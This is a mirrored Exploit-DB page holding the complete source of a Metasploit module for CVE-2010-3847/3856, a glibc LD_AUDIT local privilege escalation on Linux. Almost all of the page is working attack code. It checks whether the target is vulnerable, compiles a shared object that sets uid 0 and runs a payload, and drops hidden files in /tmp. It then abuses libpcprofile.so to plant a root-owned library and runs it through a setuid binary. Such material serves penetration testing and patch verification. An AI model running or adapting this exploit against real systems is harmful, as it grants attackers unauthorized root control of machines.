glibc – ‘LD_AUDIT’ Arbitrary DSO Load Privilege Escalation (Metasploit)

  • 作者: Metasploit
    日期: 2018-02-12
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/44025/
  • ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    require 'msf/core/exploit/local/linux'
    require 'msf/core/exploit/exe'
    
    class MetasploitModule < Msf::Exploit::Local
    Rank = ExcellentRanking
    
    include Msf::Post::File
    include Msf::Exploit::EXE
    include Msf::Exploit::FileDropper
    include Msf::Exploit::Local::Linux
    
    def initialize(info = {})
    super(update_info(info,
    'Name' => 'glibc LD_AUDIT Arbitrary DSO Load Privilege Escalation',
    'Description'=> %q{
    This module attempts to gain root privileges on Linux systems by abusing
    a vulnerability in the GNU C Library (glibc) dynamic linker.
    
    glibc ld.so in versions before 2.11.3, and 2.12.x before 2.12.2 does not
    properly restrict use of the LD_AUDIT environment variable when loading
    setuid executables. This allows loading arbitrary shared objects from
    the trusted library search path with the privileges of the suid user.
    
    This module uses LD_AUDIT to load the libpcprofile.so shared object,
    distributed with some versions of glibc, and leverages arbitrary file
    creation functionality in the library constructor to write a root-owned
    world-writable file to a system trusted search path (usually /lib).
    The file is then overwritten with a shared object then loaded with
    LD_AUDIT resulting in arbitrary code execution.
    
    This module has been tested successfully on glibc version 2.11.1 on
    Ubuntu 10.04 x86_64 and version 2.7 on Debian 5.0.4 i386.
    
    RHEL 5 is reportedly affected, but untested. Some glibc distributions
    do not contain the libpcprofile.so library required for successful
    exploitation.
    },
    'License'=> MSF_LICENSE,
    'Author' =>
    [
    'Tavis Ormandy', # Discovery and exploit
    'zx2c4', # "I Can't Read and I Won't Race You Either" exploit
    'Marco Ivaldi',# raptor_ldaudit and raptor_ldaudit2 exploits
    'Todor Donev', # libmemusage.so exploit
    'Brendan Coles'# Metasploit
    ],
    'DisclosureDate' => 'Oct 18 2010',
    'Platform' => 'linux',
    'Arch' => [ ARCH_X86, ARCH_X64 ],
    'SessionTypes' => [ 'shell', 'meterpreter' ],
    'Targets'=>
    [
    [ 'Automatic', { } ],
    [ 'Linux x86', { 'Arch' => ARCH_X86 } ],
    [ 'Linux x64', { 'Arch' => ARCH_X64 } ]
    ],
    'DefaultTarget'=> 0,
    'References' =>
    [
    [ 'CVE', '2010-3847' ],
    [ 'CVE', '2010-3856' ],
    [ 'BID', '44154' ],
    [ 'BID', '44347' ],
    [ 'EDB', '15274' ],
    [ 'EDB', '15304' ],
    [ 'EDB', '18105' ],
    [ 'URL', 'http://seclists.org/fulldisclosure/2010/Oct/257' ],
    [ 'URL', 'http://seclists.org/fulldisclosure/2010/Oct/344' ],
    [ 'URL', 'https://www.ubuntu.com/usn/usn-1009-1' ],
    [ 'URL', 'https://security-tracker.debian.org/tracker/CVE-2010-3847' ],
    [ 'URL', 'https://security-tracker.debian.org/tracker/CVE-2010-3856' ],
    [ 'URL', 'https://access.redhat.com/security/cve/CVE-2010-3847' ],
    [ 'URL', 'https://access.redhat.com/security/cve/CVE-2010-3856' ]
    ]
    ))
    register_options(
    [
    OptString.new('SUID_EXECUTABLE', [ true, 'Path to a SUID executable', '/bin/ping' ]),
    OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
    ])
    end
    
    def base_dir
    datastore['WritableDir']
    end
    
    def suid_exe_path
    datastore['SUID_EXECUTABLE']
    end
    
    def check
    glibc_banner = cmd_exec 'ldd --version'
    glibc_version = Gem::Version.new glibc_banner.scan(/^ldd\s+\(.*\)\s+([\d\.]+)/).flatten.first
    if glibc_version.to_s.eql? ''
    vprint_error 'Could not determine the GNU C library version'
    return CheckCode::Safe
    elsif glibc_version >= Gem::Version.new('2.12.2') ||
    (glibc_version >= Gem::Version.new('2.11.3') && glibc_version < Gem::Version.new('2.12'))
    vprint_error "GNU C Library version #{glibc_version} is not vulnerable"
    return CheckCode::Safe
    end
    vprint_good "GNU C Library version #{glibc_version} is vulnerable"
    
    lib = 'libpcprofile.so'
    @lib_dir = nil
    vprint_status "Checking for #{lib} in system search paths"
    search_paths = cmd_exec "env -i LD_PRELOAD=#{rand_text_alpha rand(10..15)} LD_DEBUG=libs env 2>&1 | grep 'search path='"
    search_paths.split('path=')[1..-1].join.split(':').each do |path|
    lib_dir = path.to_s.strip
    next if lib_dir.eql? ''
    libs = cmd_exec "ls '#{lib_dir}'"
    if libs.include? lib
    @lib_dir = lib_dir
    break
    end
    end
    if @lib_dir.nil?
    vprint_error "Could not find #{lib}"
    return CheckCode::Safe
    end
    vprint_good "Found #{lib} in #{@lib_dir}"
    
    unless setuid? suid_exe_path
    vprint_error "#{suid_exe_path} is not setuid"
    return CheckCode::Detected
    end
    vprint_good "#{suid_exe_path} is setuid"
    
    CheckCode::Appears
    end
    
    def upload_and_chmodx(path, data)
    print_status "Writing '#{path}' (#{data.size} bytes) ..."
    rm_f path
    write_file path, data
    cmd_exec "chmod +x '#{path}'"
    register_file_for_cleanup path
    end
    
    def on_new_session(client)
    # remove root owned shared object from system load path
    if client.type.eql? 'meterpreter'
    client.core.use 'stdapi' unless client.ext.aliases.include? 'stdapi'
    client.fs.file.rm @so_path
    else
    client.shell_command_token "rm #{@so_path}"
    end
    end
    
    def exploit
    check_status = check
    
    if check_status == CheckCode::Appears
    print_good 'The target appears to be vulnerable'
    elsif check_status == CheckCode::Detected
    fail_with Failure::BadConfig, "#{suid_exe_path} is not suid"
    else
    fail_with Failure::NotVulnerable, 'Target is not vulnerable'
    end
    
    payload_name = ".#{rand_text_alphanumeric rand(5..10)}"
    payload_path = "#{base_dir}/#{payload_name}"
    
    # Set target
    uname = cmd_exec 'uname -m'
    vprint_status "System architecture is #{uname}"
    if target.name.eql? 'Automatic'
    case uname
    when 'x86_64'
    my_target = targets[2]
    when /x86/, /i\d86/
    my_target = targets[1]
    else
    fail_with Failure::NoTarget, 'Unable to automatically select a target'
    end
    else
    my_target = target
    end
    print_status "Using target: #{my_target.name}"
    
    cpu = nil
    case my_target['Arch']
    when ARCH_X86
    cpu = Metasm::Ia32.new
    when ARCH_X64
    cpu = Metasm::X86_64.new
    else
    fail_with Failure::NoTarget, 'Target is not compatible'
    end
    
    # Compile shared object
    so_stub = %|
    extern int setuid(int);
    extern int setgid(int);
    extern int system(const char *__s);
    
    void init(void) __attribute__((constructor));
    
    void __attribute__((constructor)) init() {
    setuid(0);
    setgid(0);
    system("#{payload_path}");
    }
    |
    
    begin
    so = Metasm::ELF.compile_c(cpu, so_stub).encode_string(:lib)
    rescue
    print_error "Metasm encoding failed: #{$ERROR_INFO}"
    elog "Metasm encoding failed: #{$ERROR_INFO.class} : #{$ERROR_INFO}"
    elog "Call stack:\n#{$ERROR_INFO.backtrace.join "\n"}"
    fail_with Failure::Unknown, 'Metasm encoding failed'
    end
    
    # Upload shared object
    so_name = ".#{rand_text_alphanumeric rand(5..10)}"
    so_path = "#{base_dir}/#{so_name}"
    upload_and_chmodx so_path, so
    
    # Upload exploit
    @so_path = "#{@lib_dir}/#{so_name}.so"
    exp = %(
    umask 0
    LD_AUDIT="libpcprofile.so" PCPROFILE_OUTPUT="#{@so_path}" #{suid_exe_path} 2>/dev/null
    umask 0022
    cat #{so_path} > #{@so_path}
    LD_AUDIT="#{so_name}.so" #{suid_exe_path}
    echo > #{@so_path}
    )
    exp_name = ".#{rand_text_alphanumeric rand(5..10)}"
    exp_path = "#{base_dir}/#{exp_name}"
    upload_and_chmodx exp_path, exp
    
    # Upload payload
    upload_and_chmodx payload_path, generate_payload_exe
    
    # Launch exploit
    print_status 'Launching exploit...'
    # The echo at the end of the command is required
    # else the original session may die
    output = cmd_exec "#{exp_path}& echo "
    output.each_line { |line| vprint_status line.chomp }
    end
    end